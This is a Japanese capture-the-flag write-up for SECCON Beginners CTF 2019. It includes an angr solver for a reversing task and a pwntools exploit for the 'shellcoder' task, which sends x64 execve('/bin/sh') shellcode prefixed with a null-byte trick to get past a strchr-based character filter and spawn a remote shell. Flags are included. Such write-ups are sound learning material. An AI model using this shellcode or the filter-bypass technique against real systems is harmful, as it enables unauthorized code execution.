フラグ文字列がすべてわかるまでひたすら繰り返す。 Flag: ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation

次はangrでうまくいった。

# -*- coding: utf-8 -*-
import angr
import claripy

def main():
    key_len = 63

    pj = angr.Project('./linear_operation')
    input = claripy.BVS('input', 8*key_len)
    init_state = pj.factory.entry_state(args=['./linear_operation'])

    for b in input.chop(key_len):
        init_state.add_constraints(b != 0)

    sm = pj.factory.simgr(init_state)

    # main
    sm.explore(find=0x40cf78, avoid=[0x40cf86])
    for f in sm.found:
        print(f.posix.dumps(0))
        print(f.posix.dumps(1))


if __name__ == '__main__':
    main()
$ python3 solve.py 
WARNING | 2019-05-25 20:04:23,268 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | Filling register r15 with 8 unconstrained bytes referenced from 0x40cfb0 (__libc_csu_init+0x0 in linear_operation (0x40cfb0))
WARNING | 2019-05-25 20:04:23,273 | angr.state_plugins.symbolic_memory | Filling register r14 with 8 unconstrained bytes referenced from 0x40cfb2 (__libc_csu_init+0x2 in linear_operation (0x40cfb2))
WARNING | 2019-05-25 20:04:23,277 | angr.state_plugins.symbolic_memory | Filling register r13 with 8 unconstrained bytes referenced from 0x40cfb7 (__libc_csu_init+0x7 in linear_operation (0x40cfb7))
WARNING | 2019-05-25 20:04:23,280 | angr.state_plugins.symbolic_memory | Filling register r12 with 8 unconstrained bytes referenced from 0x40cfb9 (__libc_csu_init+0x9 in linear_operation (0x40cfb9))
WARNING | 2019-05-25 20:04:23,287 | angr.state_plugins.symbolic_memory | Filling register rbx with 8 unconstrained bytes referenced from 0x40cfca (__libc_csu_init+0x1a in linear_operation (0x40cfca))
WARNING | 2019-05-25 20:04:23,378 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x4005b1 (register_tm_clones+0x21 in linear_operation (0x4005b1))
b'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'

Flag: ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

Pwn

[warmup] shellcoder

shellcodeを標準入力から読み込み、shellcodeに[binsh]が含まれていないかstrchrでチェックし、OKならshellcodeを実行してくれる。

f:id:amaga38:20190526012717j:plain

strchrのチェックは\x00がある位置で終了なので、shellcodeの先頭に影響のない↓のコードを入れておく。shellcode本体は、ももいろテクノロジー - x64でスタックバッファオーバーフローをやってみるから頂いた。

B6 00   mov dh, 0

最終的なソルバー

# -*- coding: utf-8 -*-
from pwn import *

srv = '153.120.129.186'
port = 20000

bin = ELF('./shellcoder')

conn = remote(srv, port)
conn.recvuntil('Are you shellcoder?\n')
buf = b'\xb6\x00\x31\xD2\x52\x48'
buf += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73'
buf += b'\x68\x50\x48\x89\xe7\x52\x57\x48'
buf += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
conn.sendline(buf)

conn.interactive()
conn.close()

実行結果

$ python3 solve.py 
[*] '/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/pwn/shellcoder/shellcoder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

Flag: ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

以上!